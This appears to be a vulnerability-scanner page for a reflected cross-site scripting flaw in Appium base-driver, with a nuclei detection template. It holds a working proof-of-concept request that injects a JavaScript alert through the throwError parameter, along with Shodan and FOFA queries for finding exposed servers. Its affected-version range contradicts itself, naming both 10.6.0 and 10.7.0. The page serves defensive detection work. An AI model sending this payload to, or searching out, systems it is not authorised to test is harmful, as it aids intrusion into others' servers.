Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting

mediumseverity

6.5CVSS score

0.6%likelihood of exploitation, next 30 days

47%of all CVEs are less likely

Readycheck to confirm it

Appium <= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests.

Impact

Remote attackers can execute arbitrary JavaScript on the server origin, potentially leading to session hijacking or further attacks.

Fix

Update to version 10.7.0 or later.

How to confirm it

Send: GET /test/guinea-pig?throwError=%27%2balert(document.domain)%2b%27
Positive when: status_code == 200 and contains(body, "alert(document.domain)") and contains_all(body, "This page is a Selenium sandbox", "Appium")

Run it with nuclei: nuclei -id CVE-2026-58191 -u <target>

The full check

id: CVE-2026-58191

info:
  name: Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting
  author: str4k3r
  severity: medium
  description: |
    Appium <= 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests.
  impact: |
    Remote attackers can execute arbitrary JavaScript on the server origin, potentially leading to session hijacking or further attacks.
  remediation: |
    Update to version 10.7.0 or later.
  reference:
    - https://github.com/appium/appium/security/advisories/GHSA-3wgp-x9p5-c7cc
    - https://github.com/appium/appium/commit/d94a40af9f8040191ee7888571a1c9d5aec59f89
    - https://github.com/appium/appium/releases/tag/@appium/[email protected]
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58191
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-58191
    epss-score: 0.00564
    epss-percentile: 0.47225
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: appium
    product: appium
    shodan-query: 'http.favicon.hash:-144749386'
    fofa-query: 'icon_hash="-144749386"'
  tags: cve,cve2026,appium,xss,base-driver,node

http:
  - raw:
      - |
        GET /test/guinea-pig?throwError=%27%2balert(document.domain)%2b%27 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "alert(document.domain)")'
          - 'contains_all(body, "This page is a Selenium sandbox", "Appium")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from